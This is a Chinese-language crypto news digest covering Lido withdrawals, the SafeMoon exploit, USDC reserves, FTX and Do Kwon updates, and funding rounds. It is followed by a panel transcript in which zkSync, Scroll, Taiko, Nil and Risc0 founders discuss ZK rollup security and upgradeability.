据CoinDesk报道，流动性质押协议Lido公布了NFT发行计划，每个NFT代表了用户的ETH取款请求。取款将在下个月以太坊完成上海升级后启用。Lido的产品经理Mariya Muzyko表示，用户可以在Lido解除stETH质押，并按照1:1的比例收到ETH。一旦用户请求取款，他们将收到Lido发行的代表其取款请求的NFT。然后，用户可以使用NFT来领取他们的ETH奖励。在用户赎回他们的ETH后，NFT将被销毁。每个NFT都是可转让的，这意味着用户可以将NFT转移到另一个地址，使新地址有权获得相应的ETH奖励。Lido表示，如果用户决定在二级市场上出售他们的NFT，将不会从中收取版税。取款周期大约需要1至5天，取决于取款的stETH数量和取款请求数量。 元宇宙 马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统 据澎湃新闻报道，未来生命研究所（Future of Life Institute）公布一封公开信，呼吁所有AI实验室立即暂停训练比GPT-4更强大的AI系统至少6个月。辛顿、马库斯和马斯克均签署了这封公开信。 未来生命研究所的这封公开信题为“暂停巨型AI实验：一封公开信”，于29日解封。截至发稿，这封信已有1079名科技领袖和研究人员签名，除了马斯克、辛顿和马库斯之外，还包括图灵奖得主约书亚·本希奥（Yoshua Bengio）、《人工智能：现代方法》作者斯图尔特·罗素（Stuart Russell）、 苹果公司联合创始人史蒂夫·沃兹尼亚克（Steve Wozniak）、Stability AI首席执行官埃马德·莫斯塔克（Emad Mostaque）等科技界领袖人物。 信中写道：广泛的研究表明，具有与人类竞争智能的人工智能系统可能对社会和人类构成深远的风险，这一观点得到了顶级人工智能实验室的承认。 Axie Infinity已开启Origins S3最后阶段Mystic Era，总奖池为约5.6万枚AXS 据官方博客，链游Axie Infinity宣布Origins S3已开启最后阶段Mystic Era。Mystic Era将持续两周，总奖池为56,238 AXS，占Season 3总奖池的50%。3月31日将为所有人提供为期一周的双倍SLP，每次获胜可获得更多SLP。 项目动态 Polygon zkEVM现已完全开源，漏洞赏金高达100万美元 Polygon Labs宣布其 Polygon zkEVM 已在AGPL v3许可下完全开源。Polygon zkEVM 主网测试版也已经同步启动。目前已经设置了高达 100 万美元的漏洞赏金用于记录关键漏洞。 DeFi协议SafeMoon遭遇攻击，其流动资金池损失约890万美元 据The block报道，根据链上记录，基于BNB链的DeFi协议Safemoon今天早些时候遭到攻击，导致其流动资金池流失近890万美元。Safemoon在推特上证实了此次攻击事件。安全公司 Peckshield表示，最近的更新可能引入了一个“公共销毁漏洞”，为黑客攻击提供了便利。黑客能够使用代码功能人为地提高SFM代币的价格，然后在同一笔交易中将足够多的代币卖回流动性池，从而有效地从合约中抽走WBNB。 今日晚些时候消息，Safemoon CEO表示，漏洞已修复且其他LP池未受影响，用户资金安全。 Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行 Circle在博客文章中披露“USDC储备的结构和管理方式”。文章称，USDC储备约80%为短期美国国债，约20%为美国银行系统的现金存款。储备是完全透明的 ，并受制于第三方保证有足够的资产来满足负债。它不包含具有不同风险状况的任何其他资产。USDC储备中的国债由SEC监管的全资政府货币基金结构持有。它们不受任何锁定或赎回门槛的限制。每天都有关于该投资组合的独立第三方报告 ，具体到每只证券。 Circle持有约20%的现金储备，以满足客户的即时流动性需求。在最近多家银行倒闭后，Circle已采取措施降低银行系统的风险，目前已将储备金的大部分现金部分存放在全球30家全球系统重要性银行之一(也称为GSIB)。Circle还在交易银行合作伙伴处持有少量资金，以支持USDC流动性操作。 此外，Circle表示，该公司一直渴望直接在美联储持有USDC储备的现金部分，实现将USDC作为真正的代币化现金的愿景。为此，需要稳定币立法。Circle还表示，为了USDC持有者的利益，USDC储备金存放在隔离账户中。 Circle将通过与Noble的合作于第二季度发行基于Cosmos的USDC 据Blockworks报道，Cosmos生态协议Noble宣布与Circle合作，将在第二季度将原生USD Coin (USDC)引入Cosmos生态系统。Noble首席执行官Jelena Djuric在接受采访时表示，Cosmos区块链间通信协议(IBC)生态系统从未有过具有高流动性和完全质押的原生、法币支持的稳定币，随着Noble的第一个发行合作伙伴Circle的出现，这种情况即将改变。 FTX向被确认为债权人的客户发送邮件，并强调索赔申请截止日期尚未确定 据吴说区块链报道，FTX大范围给债权人发送邮件，内容包括客户代码与索赔资产，邮件中表示：“你正在收到这封电子邮件，因为你已被确认为截至2022年11月11日，在FTX trading ltd第11章案例中的一个或多个债务人的账户净余额为正的客户。你已被列在一个或多个债务人的附表及报表内。” 邮件内容强调：“法院尚未设定提交针对债务人的索赔或利益证明的截止日期。当法院设定最后期限时，所有已知的债权人都将收到关于最后期限的通知以及关于如何提交索赔或利益证明的说明。” 此外，FTX无担保债权人官方委员会发推文称：“如果您认为您应该被FTX识别为客户欠款，但在3月31日之前没有通过电子邮件收到客户代码，请联系FTXInfo@ra.kroll.com。” Sei基金会成立，负责处理代币赠款、空投等事项 Layer1公链Sei宣布成立Sei基金会，作为支持Sei生态系统的非营利组织来资助协议开发、发展生态系统。Sei基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。Sei Labs团队仍然致力于开发开源软件。 韩联社：Do Kwon律师拟将护照造假案上诉至最高法院，引渡进程或将拖延 据韩联社报道，Terraform Labs创始人Do Kwon在黑山的法律代表Voislav Zetsevich律师在接受采访时表示，对于Do Kwon涉护照造假案，其已对一审判决向高等法院提起上诉，若败诉，还会将此案上诉至最高法院以寻求最终判决，他们将尽可能行使自卫权。该媒体评论称，这意味着实际引渡或需要相当长的时间。 此外，对于引渡一事，该律师表示：“我不想谈，也不需要谈，因为引渡程序还没有开始。Do Kwon在完成护照造假案的司法程序不会涉及到遣返，且黑山司法部也有可能拒绝遣送。如果黑山政府收到正式的引渡请求，无论是韩国还是美国，都会成立一个新的法庭并进行单独的程序，但现阶段遣返不是需要讨论的问题。”对于Do Kwon希望被引渡至哪个国家，律师称：“无可奉告，关于遣返的决定完全由法院决定。法院不是做出政治决定的地方。遣返不应该是一个政治决定。”律师还提及，如果Do Kwon因护照造假案被判处最高5年徒刑，他可能会被遣返到另一个国家并在那里服刑。 此前3月26日消息，法院决定将Do Kwon拘留时间延长30天，Do Kwon计划对此提出上诉。 美国法院批准将FTX在红杉资本中的4500万美元资产出售给阿布扎比的投资部门 据CoinDesk报道，周二的一份法庭文件显示，美国特拉华州破产法官已批准将FTX在红杉资本基金中的4500万美元资产出售给阿布扎比的投资部门，即阿布扎比主权财富基金。FTX还要求无限期推迟出售股票清算业务Embed，该业务最初被认为是为未偿债权人筹集资金的一种快速方式。另一份法庭文件称，Embed的出售听证会原定于2月27日举行，随后被推迟，现在将暂停“直至另行通知”，但没有提供进一步的理由。 Lido将于8月1日停止在Polkadot、Kusama上的质押服务 据Lido 开发商 MixBytes 的博客文章，去中心化金融(DeFi) 质押服务 Lido (LDO) 将于 8 月 1 日停止其在 Polkadot (DOT) 和 Kusama (KSM) 上的质押服务。Polkadot 和 Kusama 不再接受存款，6 月 22 日所有资产将自动取消质押。正式终止日期为 8 月 1 日。目前 Lido 上总共有价值 400 万美元的 DOT 代币和价值 75,000 美元的 KSM。 融资消息 质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 据CoinDesk报道，质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。资金来自 EigenLabs 准备在全年分阶段推出其 EigenLayer 协议的初始版本。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投的 1450 万美元种子轮融资。 加密基础设施Conduit完成Paradigm领投的700万美元种子轮融资 加密基础设施初创公司 Conduit 宣布完成 700 万美元种子轮融资，Paradigm 领投，Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma和Lakshman Sankar参投。新资金将帮助 Conduit 继续其首个产品发布并实现其实现盈利的目标。 Conduit 提供托管服务，帮助开发人员轻松快速地将他们的应用程序部署到 Optimism。 DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投 据TheBlock报道，去中心化自治组织 Hydra Ventures 已筹集 1000 万美元用于支持投资 DAO。Hydra Ventures 的投资者包括 1kx、Collab+Currency、ConsenSys 和 Seed Club。Hydra Ventures DAO 匿名风险投资人 P3terpan 表示，Hydra Ventures 将投资 30 到 40 个 DAO——目标是投资 DAO 本身高达 10%。到目前为止，它已经进行了一项投资，但尚未宣布，并计划在此过程中孵化一些投资 DAO。 重要数据 数据：合并以来以太坊流通量已减少超7万枚，年化通缩率0.36% 欧科云链OKLink多链浏览器数据显示，以太坊自合并以来流通量减少量首次超7万枚，当前流通量为120,451,277枚，当前年化通缩率为0.36%。此外以太坊质押量约1782万枚，年化质押收益APY 3.81%。 数据：某巨鲸地址将价值5200万美元的ETH转至Kraken JieData监测数据显示，0xdfb6开头的巨鲸地址将3万枚ETH（价值5200万美元）转至Kraken交易所，转出均价为1755美元。 该地址的ETH来自于2017年9月和2019年3月从Bitfinex购入，持有成本价在200美元左右，目前该地址ETH余额为30302枚。  ( 6 min )
    DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投
    PANews 3月29日消息，据TheBlock报道，去中心化自治组织 Hydra Ventures 已筹集 1000 万美元用于支持投资 DAO。Hydra Ventures 的投资者包括 1kx、Collab+Currency、ConsenSys 和 Seed Club。Hydra Ventures DAO 匿名风险投资人 P3terpan 表示，Hydra Ventures 将投资 30 到 40 个 DAO——目标是投资 DAO 本身高达 10%。到目前为止，它已经进行了一项投资，但尚未宣布，并计划在此过程中孵化一些投资 DAO。 P3terpan 于去年 6 月开始为 DAO 募集资金，并于 1 月结束募集。这些资金将存储在一组多样化的稳定币中，并计划在三年内部署这些资金，而不是像 MetaCartel Ventures 那样永久部署。  ( 4 min )
    英国发布人工智能监管白皮书，概述了针对ChatGPT等人工智能治理的五项原则
    PANews 3月29日消息，英国政府发布了针对人工智能产业监管的白皮书，概述了针对ChatGPT等人工智能治理的五项原则。它们分别是：安全性和稳健性、透明度和可解释性、公平性、问责制和管理，以及可竞争性。在接下来的12个月里，监管机构将向相关组织发布实用指南，以及风险评估模板等其他工具，制定基于五项原则的一些具体规则。也将在议会推动立法，制定具体的人工智能法案。 今日早些时候，马斯克等千名科技人士发公开信，呼吁所有AI实验室立即暂停训练比GPT-4更强大的AI系统至少6个月。信中写道：广泛的研究表明，具有与人类竞争智能的人工智能系统可能对社会和人类构成深远的风险，这一观点得到了顶级人工智能实验室的承认。  ( 4 min )
    ZK专家“华山论剑”：安全与去信任，ZK协议在机制上该如何平衡取舍？
    近日，zkSync和Polygon都推出了各自的zkEVM，掀起了一波行业的热潮。与此同时，社区对于zkEVM的安全性和去中心化也有了很多讨论。IOSG在前不久刚结束的ETHDenver期间，举办了一场以安全为主题的活动（Stay SAFU, Security Day），有幸邀请到了在零知识证明领域的头部项目参与讨论，他们分享了零知识证明协议在机制设计和工程建构上的安全原则与新颖方案，以及在设计过程中的种种权衡。 以下为各位嘉宾分享的insight原文，参与者为： ?️Queenie Wu, IOSG Ventures 合伙人（主持人）； ?️Alex Gluchowski, zkSync 联合创始人； ?️Ye Zhang, Scroll 联合创始人和研究负责人； ?️Matt Finestone, Taiko 首席运营官； ?️Mikhail Komarov, Nil foundation 创始人； ?️Brian R, Risc0 创始人； ?️ Q1：零知识证明是如何增强你们正在构建的系统的安全性的？另一方面，部署零知识证明会带来哪些安全问题？ ?️ [Brian R] 我是Risk Zero的CEO Brian Redford。我们是在Risk-V Micro Architecture构建的Risk Zero zkVM的开发者，可以在ZK系统中执行任意代码。我们还在部署一个名为Bonsai的Layer2网络，它可以在ZK场景下执行任何代码，可以把它理解为是一个ZK加速器。在ZK如何增强安全性方面，我想这取决于具体的应用场景。当然，能够进行计算并生成可以在世界任何地方验证的证明方式完全改变了区块链安全的范式。你不再需要一遍又一遍地重新做相同的计算，再通过复杂的各种机制（比如经济机制）来保证整个系统的安全性。 ?️ [Mikhail Komarov] 我是Nil的创始人Mikhail Komarov。我们为正在开发的ZK项目提供基础设施，例如zk-EVM编译器。这个编译器可以将高级语言编译成电路，使得高级语言中定义的每个计算都可以被证明，无需执行任何操作，只需要简单的电路即可。除此之外，我们还引入了一个“证明市场（Proof Market）”的概念，给想要生成zkSNARK/STARK证明的项目方，提供了一个去中心化的竞价市场。每个开发者都可以提交所需要生成的零知识证明的竞价单，然后只需要在应用程序中调用证明，以获取所需的服务（比如zkRollup就可以使用证明市场）。 基本上，我们是开发人员所需的基础设施。从我们自身来说，它并没有增强我们的安全性，但从整体来说，它确实增强了安全性。正如Brian所说的那样，它通过消除协议中应在Trustless的环境中运行的信任假设来增强安全性。它的关键在于进一步减少信任假设。这就是它如何增强安全性的方式。我相信零知识证明如果被项目，去年发生的一些安全事故可能可以避免。 ?️ [Matt Finestone] 我是Matt 来自Taiko，我们是一个以太坊兼容的ZK Rollup。我们追求最大程度的以太坊和EVM兼容性。在安全方面，我们独特的地方是我们非常依赖于经过充分测试和验证的以太坊构建模块、客户端和智能合约模式。正如Mikhail所说，ZK减少了信任假设或将其转移到Protocol/证明层面。“需要信任的”不再是一些有动机的人，而是数学和围绕数学证明开发的协议和应用。对于ZK Rollup，有很多安全考虑，不仅仅是ZK。 我认为我们尽可能地从以太坊中重用安全的部分，以保持安全。随着时间的推移和实战测试，ZK将是非常强大的系统。 ?️ [Ye Zhang] 大家好，我的名字是Ye。我在Scroll工作。我先简单介绍一下Scroll。Scroll是以太坊的扩容解决方案。它与以太坊兼容度非常高，用户可以与应用程序交互，开发者可以部署智能合约，只需将代码复制粘贴并迁移到Scroll上即可。它比以太坊更快，更便宜，同时具有更高的吞吐量和更严格的安全性。我们会去中心化我们的证明系统（Decentralized Prover Network），防止证明系统的单点故障。这是我们迈向去中心化的第一步，因为ZK Rollup的在未来相当长的一段时间内会是去中心化的。即使你对数学非常信任，对密码学非常信任，但你仍然可能遇到这种单点故障，因为你要依赖于某个证明者。 去中心化的第一步是想要将证明系统去中心化，以使其更加可靠。至于ZK的安全性，我认为其他嘉宾已经介绍了ZK给你带来了非常强大的公共可验证性属性。基本上，任何人都可以进行计算和执行证明，然后任何人都可以验证这个证明并得到相同的保证。如果你有数百万个节点，每个人只需要重新执行验证算法，而不是初始计算，这样也实现了系统的可扩展性。这就是ZK技术的威力所在，至于它可能存在的问题，如果我们的系统完全依赖数学的运算，如果存在一些错误，比如缺失一些约束条件，那么可能会很危险。这就是为什么我们采取多种方法来提高我们的安全性。例如，我们采用社区驱动的方法进行开发。从第一天开始，我们就开源了所有开发过程，并由以太坊和我们自己的社区进行了审核，这是一个更高的标准。这就是我们最小化信任和提高安全性的方法。 ?️ [Alex Gluchowski] 我叫Alex Gluchowski，是Matter Labs的CEO，我们是zkSync协议背后的公司。我们正在构建zkSync Era Network，这是一个与ZK EVM兼容的ZK Rollup。我们采取了与EVM等效的Rollup略有不同的方法。我们认为应该采取务实的方法, 从兼容的东西开始，这样开发者可以轻松接入和移植现有应用程序，并从现有工具中启动。但是，最终的ZK环境是不同的。如果你将自己绑定到原有技术上，将很难实现ZK系统的最大容量。这很重要，因为我们的使命是将区块链扩展到真实世界的范围，将下一个十亿用户引入区块链，创造新的价值互联网。如果你考虑到数百万甚至数十亿用户，你真的想要降低成本，因为随着所有这些数十亿个交易的累加，成本将变得非常重要。 这如何影响我们如何增强安全性？这是一个非常有趣的问题。当你询问如何提高安全性或任何其他因素时，你想要比较替代方案，对吧？我的基准是什么？使用ZK的替代方案是什么？替代方案可能是在ZK Rollup之前可用的其他扩展技术，例如Optimistic Rollup、侧链、Plasma等。这些方案引入了新的信任假设。如果我们的目标是将规模扩大到10亿用户，而我们的使命不仅是扩大吞吐量，而是扩大价值规模，同时保持自我主权、自我保管、无需许可的性质以及完全无需信任的系统特性，那只有使用ZK可以实现。 ?️ Q2：我们在比较不同类型的zkEVM时，通常关注的是他们的可扩展性和兼容性，（Vitalik对此进行了详细的比较: https://vitalik.ca/general/2022/08/04/zkevm.html），如果我们在此增加一个安全的维度，zkSync Era、Scroll和Taiko会如何比较不同的机制设计可能带来的不同的潜在安全风险？ ?️ [Alex Gluchowski] 正如前面的发言者所提到的，你需要隐含地信任这些复杂系统的许多组件来保证安全性，例如，你信任编译器产生的代码，你认为它正在执行你放在这个编译器中的代码逻辑。为什么你会相信它是Solidity？它没有形式化定义，所以你只是信任编译器在各个版本中的行为是正确的。我们认为这是必须要解决的问题。这就是为什么我们开始建立基于LLVM框架的编译器，它支持Solidity作为前端之一，并依赖于这个成熟的框架，有很多工具可用于代码的静态分析、安全检查等，而后端是我们的zkVM虚拟机。我们还可以支持其他更成熟的语言，这些语言实际上已经被用于其他安全环境，如Rust，或者是一些更新颖的语言，这些语言是增加了安全考量的，如Move，它能避免一些安全问题，比如双花之类的。总而言之，尽管比较复杂，我们必须从不同的层面去解决。 ?️ [Ye Zhang] 我想讲一些不同的方法及其背景。我们正在建立EVM Bytecode级别的兼容方案。基本上我们可以与EVM Bytecode进行兼容。这与zkSync的构建方式不同，我们也相信编译器不应该被信任。这就是为什么我们相信Solidity编译器，虽然它不成熟，但在区块链的背景下，Solidity已经是相对成熟的了。之前没有人使用Solidity和LLVM。我们相信那是一个更好的标准，因为已经经过了实践的检验，很多智能合约DeFi已经经过了Solidity开发者的实践考验。这就是为什么我们相信遵守这种编译器的标准，遵守Solidity编译器的标准，遵守EVM黄皮书的定义是保证系统安全性的最好方法。因为从电路方面来说，我们不需要考虑编译器方面的问题，我们不需要建立我们自己的编译器，我们只是采用现有的基础设施，证明它的执行是正确的。 我们情愿把系统构建的复杂性只放在解决zkEVM在Bytecode层面的兼容性，而不是同时构建一个编译器以及支持LLVM的后端，我们不希望在构建zkEVM之外还需要构建编译器。另一个考虑因素是，我们肯定关心开发者的体验。Layer2是为扩展EVM而建立的，目前的EVM已经因为大量Solidity代码和应用变得拥挤不堪。我们希望开发者能够无缝迁移到我们的系统，同时确保安全性。这也是为什么我们目前不打算在EVM当中增加更多花俏的功能。遵循这个标准可以使 Ethereum真正可扩展，同时保证在此基础上的系统最佳性能和及时交付。同时，我们也在以太坊官方推动各种开源实现，包括Type1和Type2的zkEVM，包括隐私和扩容等。我们从第一天开始就采用开源方式构建。我们非常关注Ethereum zkEVM的开发和演进，我们领导了其中一半的开发，我们是团队的一部分，因此我们确切地知道整个系统需要多长时间才能真正准备好。这就是为什么我们采取这种方法来准备产品和深入社区，然后考虑如何推动Ethereum的终极目标。 ?️ [Matt Finestone] 这是两个很好的答案，Taiko和Scroll的方案更靠近，我们也没有引入新的编译器。我喜欢Alex所说的，就是在区块链背景下安全的替代方案是什么？我认为我们都会同意，以太坊可能是黄金标准。我们按照黄皮书实施，重复使用以太坊而不是调整它的组件，即使是在EVM以外的以太坊组件、数据存储结构等方面，也是经过实践验证的。当然，这里始终有权衡。Alex谈到了十亿用户和超低成本以及保持价值的扩展性。我们可能会在证明成本上做出更高的牺牲，但我们坚持使用经过实战考验的EVM标准和以太坊标准。而对Ye Zhang所说的关于实用性和快速进入市场的一些考虑，我们也会做出了权衡。 在ZK的背景下，有一些方向不容易实现，例如一些哈希函数或一些数据存储结构。我们不去改变这些东西，因为我们不确定它们的效果会如何，比如把Merkel Patricia Tree改成了 Verkle Tree，即使这在以太坊的路线图上本身就存在。我们对经过试验和实战考验的组件更加自信，系统的复杂性不在于试图重新发明以太坊的EVM和其他组件，而是在于如果将ZK完全地部署兼容EVM。这将需要更长的时间来完成，我们需要比Scroll更长的时间来做一些权衡以实现可用性。在安全性上，我们的实现路径会更令人放心。 ?️ [Mikhail Komarov] 以太坊经过实战考验，让我们重用所有这些系统，减少新的假设。但还有几个安全问题，少有人真正考虑过，而我们的目标是解决它们。第一个问题，你必须信任编译器。还有另一个问题，就是如果你想实现完全的EVM兼容性，比如Type1的EVM兼容性，那么你就需要手动在电路中重新部署EVM的任何Opcode，通过找出作为电路的某个表达式，它在某个确定域上的形式会是怎样的，这是一个手动的过程，而且非常复杂，很容易出错。我们自己就做过这样的事情，而且搞砸了电路，因此我们知道这是糟糕的。为了不重复这些问题，也不让任何人犯这些错误，我们正在致力于通过允许人们通过使用已经经过实战测试的 EVM 实现编译电路，来消除这种安全假设，而不是通过手动重新实现所有的 OpCode。我们的目标是通过使用 LLVM 编译器来编译它，而不是手动重新实现，由此有了最小的安全假设。这是另一个需要消除的安全假设，我们将针对 zkEVM 进行解决。 ?️ [Brian R] 你可以在类似RiscV的系统上运行geth来解决Mikhail所说的问题。我们实际上刚刚添加了Go的支持。我们构建并设计了RiscZero VM，我们选择RiscV指令集的部分原因是因为它有形式化定义，而且非常轻巧。RiscV电路的安全范围有所规范，并且已经进行了大量工作来将形式化验证方法纳入证明某个实现过程符合RiscV规范。我们专注于保证这个简单系统中的密码学正确，然后在其上运行EVM确实有效。当然，这种方法会有性能损失。比如进行ERC20代币转移需要大约1分钟。 ?️ Q3：正如Alex刚刚提到的，对于系统的任何部分，升级或选择另一种解决方案都是可能的。那么，如何确保系统的可升级性，并且以非常安全的方式实现？ ?️ [Brian R] 是的，我认为在 ZK 中，可升级性是一个非常重要的话题。从我们的角度来看，在没有部署网络和背后有大量经济价值的情况下，我们花费了大量时间确保我们正在构建正确的技术堆栈抽象。我们可以切换哈希函数，切换有限域和证明系统，或者添加新的技术，例如 PLONK，到技术堆栈中。这也是我们选择 RiscV 作为主要支持的「指令集」的另一个原因，因为它本身就是一个非常清晰的抽象系统。因此，您可以随意更换任何东西。LLVM 显然具有非常类似的特征。 ?️ [Matt Finestone] 是的，升级是一个很大的话题，我们可以将其看作一个去信任化系统的问题。系统的部署实现可能会出现漏洞，用户就会面临风险，或者要信任构建该系统的人或一些参与者，他们可能会在趁虚而入等等。升级是一种在某些层面上找到安全和去信任化的平衡。当你对系统的信任度提高时，可以去除其中一些受信任的参与者。在这里，我们应该对一些受信任的参与者持有非常警惕的态度，因为我们做这些事情的目的是为了消除这些参与者。对于这些非常复杂的系统，最好在早期就可以介入。我认为，Alex和Matter Labs团队已经在这方面提供了一些很好的参考案例。他们有一个很好的安全委员会和时间延迟的机制。那么升级的正确节奏是什么？这是一个非常重要的问题，我不知道更多的用户是否会对完全去信任的系统感到安心，因为这样的系统往往非常复杂，引入了许多新的东西，或者是信任这些善意的参与者。这是一个非常关乎人性的问题，当然也有一些技术解决方案，比如多重证明可能是一个不错的选择。我认为，我们有可能从类似于Optimism的组件中重用一些设计。如果我们的有效性证明有问题，那么重用Optimistic Rollups的实现将更容易制定欺诈证明的系统，以使其适用于以太坊等效环境。你可以混合匹配欺诈证明和有效性证明，如果有任何异议，那么升级性或某种类型的治理方案可以覆盖它。 ?️ [Mikhail Komarov] 让我来说一下。我刚花了一些时间思考这个问题。我担心我没有理解问题，因为我想说哪里有升级问题？只需重建电路即可。那么，究竟是哪些升级问题呢？ ?️ [Ye Zhang] 从我们的角度来看，首先，肯定不能仅仅编译新电路，因为它会影响您的证明密钥、验证密钥和许多链上智能合约，所以肯定不能经常这样做。我们在考虑多重证明的方法，添加双重验证等机制。有多种方法可以解决这个问题，除了像Matt提到的，我们不考虑直接与Optimistic的欺诈证明相结合，因为这会让最终确认时间变得更长。我们正在探索一些其他方法，很快就会在以太坊研究中提出一些提案，关于如何增加一些额外的保证。例如，Justin Drake提出了使用Intel SGX（TEE环境）作为一些额外保证的方法，严格地增加了安全保证。此外，还可能存在一些其他的治理方式，我们认为安全委员会和时间延迟是不错的方式。我们也在思考这个问题。这是一个权衡，我相信大多数Rollups仍需要更长时间才能真正摆脱这种可升级性问题，因为升级系统是一件长期的事。我们正在认真关注和研究这个问题。 ?️ [Alex Gluchowski] 我可以给一些背景信息，为什么可升级性是一个重要的问题。打个比方，对于任何你电脑桌面上运行的某个程序，你只需下载新版本并安装，对吧？升级有什么问题？问题在于，在区块链的背景下，我们试图构建Trustless的系统，但在某些情况下，升级的需求可能会破坏这种信任。对于Layer1，没有这个问题。如果要升级以太坊，只需下载新的客户端，安装它，然后所有人协调分叉。然后我们安排一次分叉，定个日期，在某个区块号进行分叉，那么任何不喜欢此次升级的人都可以留在旧版本的旧分支上。这种可升级性路径是完全Trustless的。它不会让您依赖任何诚实的大多数或任何可信的参与者。 问题出现在Layer2的背景下。如果我们构建的是Rollup，Rollup依赖于Layer1的智能合约。这个智能合约可能是不可变的，其中某些特定电路的某些固定功能和验证密钥已经内置，那么问题就在于如果存在Bug，那么你将束手无策。那如果面临bug，或者如果想修复它该怎么做？ 我们在zkSync 1.0（zkSync Lite）披露了过一个漏洞，具有可升级性的时间锁定，因此团队可以提出新版本的升级提案。然后，如果用户不喜欢这个新的版本，所有用户都有几周的时间将资产从Layer1退出。我们有Trustless的机制来实现退出。但因为被迫进入了这个时间锁定，我们无法修复它，所以我们想出了一个折衷方案，并引入了我们称之为Security Council的方案，这是一个独立的委员会。我们邀请了一些来自不同社区、不同项目的以太坊社区的15名知名成员加入。 团队不控制合约，只能提出升级方案，Security Council来做出决定，可以决定加速升级。但这仍然不是最佳选择，因为理论上还是有一组人可以在此期间立即安装一个恶意版本。也许他们不想这样做，但也许他们会被某些参与者强迫，我们无法排除这种可能。因此，如果我们希望充分利用零知识证明，并且仅依赖数学和开源代码而不是任何验证程序的受信任方等，最终实现完全Trustless的机制。 我们目前在思考一个更好的方案，由团队提出时间锁定的升级提案，Security Council可以介入建议冻结智能合约，然后在Layer1上进行软分叉。因此，这需要与Layer1协调，这需要Layer2协议已经有一定规模足够重要，以使社区实际上进行分叉，安装新版本等。因为Layer1无法为每个小协议执行此操作，它必须是像以太坊上的系统级事物那样重要的协议。 这是我们目前拥有的增强无需信任的可升级方案的最佳机制，以便保护我们免受第一层严重漏洞的影响。但这还是会引入一些类似时效性的问题，如果出现这样的问题，协议将暂停一段时间，想象一下我们已经从Visa和PayPal切换到使用这种大型Rollups进行区块链支付，突然之间用户资产被冻结，没有人可以进行支付，需要我们协调升级几天，这是巨大的问题。我们当前没有更好的解决方案，也没有看到更好的解决方案。如果您有想法，请联系我们，让我们进一步探讨。 ?️ Q4：有一个关键词被多次提到，那就是“无需信任-Trustless”。正如我们所知，当前系统中最重要的组成部分仍然是中心化的。从中心化到去中心化的演变，我们将面临哪些安全挑战？ ?️ [Alex Gluchowski] 我认为这（Trustless）将增强安全性。这将为我们提供多一重因素的保护。首先，ZK Rollup必须为每个块提供有效性证明，但它可以存在问题，例如，也许我们忘记了某些约束条件。在此之上，我们还需要通过权益证明共识机制来提供签名，这是额外的一层保护。因为为了破坏系统，恶意攻击者必须首先找到漏洞，然后必须在伙同这个这些验证者中的大多数来一起作恶。 这个可能性是比较小的，因为攻击者要么已经是这个区块链上的控制方，要么必须购买大量代币，这给了我们足够的时间，可能其他人也会发现相同的漏洞，并提交Immunefi或其他地方，团队可以进行修复。或者，也许我们将同时运行一些蜜罐，这是完全开放的，任何人都可以破解并从中获得奖励。所以，总体来说，这为整个系统提供了两个因素的保护。而且，我们可以在此基础上添加更多因素。 到目前为止，我不会相信一个号称完全无需信任的ZK Rollup是安全的。对我来说，这将是极具风险的。我不会在这样的ZK Rollup上放置比我可承受失去的金额更大金额的资产。 我最喜欢举的例子是波音737 Max事件。这个事故的原因不是因为他们试图转移公众注意力的软件问题，而是因为他们依赖于飞机上的单个传感器，这是完全不负责任的行为。航空业已经有很长的发展历史，过程中有很多技术迭代，不能依赖单个系统是业界的共识。但因为他们在生产波音737 max的过程中因为各种原因（比如成本、交付时间等）牺牲了安全的系统设计，最终导致了事故。因此，我们始终希望至少有两个完全独立的安全因子，来降低故障的概率。 ?️ [Ye Zhang] 我们秉持着长期主义的理念来思考ZK Rollup的去中心化路线图。先去中心Sequencer还是Prover，甚至如何定义ZK Rollup的去中心化，我们都有自己的想法。我认为最终我们将同时去中心化Sequencer和Prover。但是我们有一些略微不同的优先排序，我们希望先将Prover去中心化。安全性绝对是重要原因之一。如果先将Sequencer去中心化，那在zkEVM变得非常成熟稳健之前，如果有人真的发现了一些漏洞并提交了虚假证明，它有一定概率会被Sequencer接受并出块，对系统造成破坏。 因此，我们会先保留中心化的Sequencer。因为zkEVM是有可能出现漏洞的，因为它是非常复杂的系统。因此，我们希望至少在早期阶段，我们控制中心化的排序，至少能保证正确有效的出块。 另一个先去中心化Prover的原因是，有许多硬件公司正在寻找如何使zkEVM更高效的方案。如果我们承诺去中心化Prover的这种方案，他们会参与优化系统的代码。我们都知道，ZK ASIC可能需要一年以上才能问世，如果我们首先进行Prover的去中心化，他们将更有动力为我们的系统进行构建，使系统变得更加高效。Sequencer的去中心化是我们后面计划要做的事情。 这里还要考虑一个更复杂的因素，如果将Prover和Sequencer分配到两个不同的群体，则需要非常小心地设计激励方案，例如分配到这两方的奖励的比例，如何能够做到足够合理且平衡两方的激励。 除此之外，我们还有一些其他的安全手段。例如，我们正在构建的方式是开源的，我们正在进行一些内部安全审计，而不仅仅是外部审计。我们拥有一个非常强大的安全团队。我们提供各种资金资助来鼓励更多人参与安全方案的构建，比如形式化验证等工具。我们团队还曾经在Consensys ZKEVM和Aztec的电路上找到过漏洞。我们正在尝试改善整个生态系统的安全性。 ?️[Matt Finestone] Taiko可能会更早地面临这种挑战。尽管大家都有一定程度的去中心化，但实际上我们也在计划和以太坊保持一样的方式，包括EVM、Gas时间表和状态树等，同时也考虑到Ethos和其他去中心化（我们称之为）Sequencer Proposer，以及Prover。在几个月前的第一个测试网中，约有2000独立个人或地址无需许可的Propose一个区块。尽管可能存在一些恶意区块，但这也是去中心化的承诺。我认为这不是渐进式的去中心化，或许是渐进式的效率提升，因为你必须放弃一些效率。Proposer可能会建立相同的区块，导致有些交易冗余，同时也付出了一些向Layer1支付了ETH的有价值的区块空间。有些人会得到退款，有的会直接跳过。 对我们来说，我们在下一个即将到来的测试网中立即实现去中心化不太现实。Permissionless provers在测试网环境中比较难，因为有女巫攻击，人们会让proposed 